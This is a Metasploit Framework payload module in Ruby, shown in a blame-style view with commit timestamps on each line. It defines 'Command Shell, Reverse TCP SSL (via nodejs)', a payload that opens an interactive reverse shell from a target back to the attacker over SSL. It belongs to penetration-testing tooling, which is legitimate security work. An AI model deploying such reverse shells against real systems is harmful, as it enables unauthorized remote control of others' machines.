2013-09-16 18:38:42 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-16 18:38:42 +00:00
|
|
|
##
|
|
|
|
|
2013-10-12 08:32:52 +00:00
|
|
|
require 'msf/core/payload/nodejs'
|
2013-09-16 18:38:42 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp_ssl'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2013-09-16 18:38:42 +00:00
|
|
|
|
2015-08-13 16:10:50 +00:00
|
|
|
CachedSize = 516
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-09-16 18:38:42 +00:00
|
|
|
include Msf::Payload::Single
|
2013-10-12 08:32:52 +00:00
|
|
|
include Msf::Payload::NodeJS
|
2013-09-16 18:38:42 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Command Shell, Reverse TCP SSL (via nodejs)',
|
|
|
|
'Description' => 'Creates an interactive shell via nodejs, uses SSL',
|
|
|
|
'Author' => ['RageLtMan', 'joev'],
|
|
|
|
'License' => BSD_LICENSE,
|
2013-09-20 23:14:01 +00:00
|
|
|
'Platform' => 'nodejs',
|
2013-09-16 18:38:42 +00:00
|
|
|
'Arch' => ARCH_NODEJS,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
2013-09-23 16:31:45 +00:00
|
|
|
'PayloadType' => 'nodejs',
|
2013-09-16 18:38:42 +00:00
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
2013-09-25 05:10:59 +00:00
|
|
|
super + command_string
|
2013-09-16 18:38:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the JS string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
2013-10-12 08:32:52 +00:00
|
|
|
nodejs_reverse_tcp(:use_ssl => true)
|
2013-09-16 18:38:42 +00:00
|
|
|
end
|
|
|
|
end
|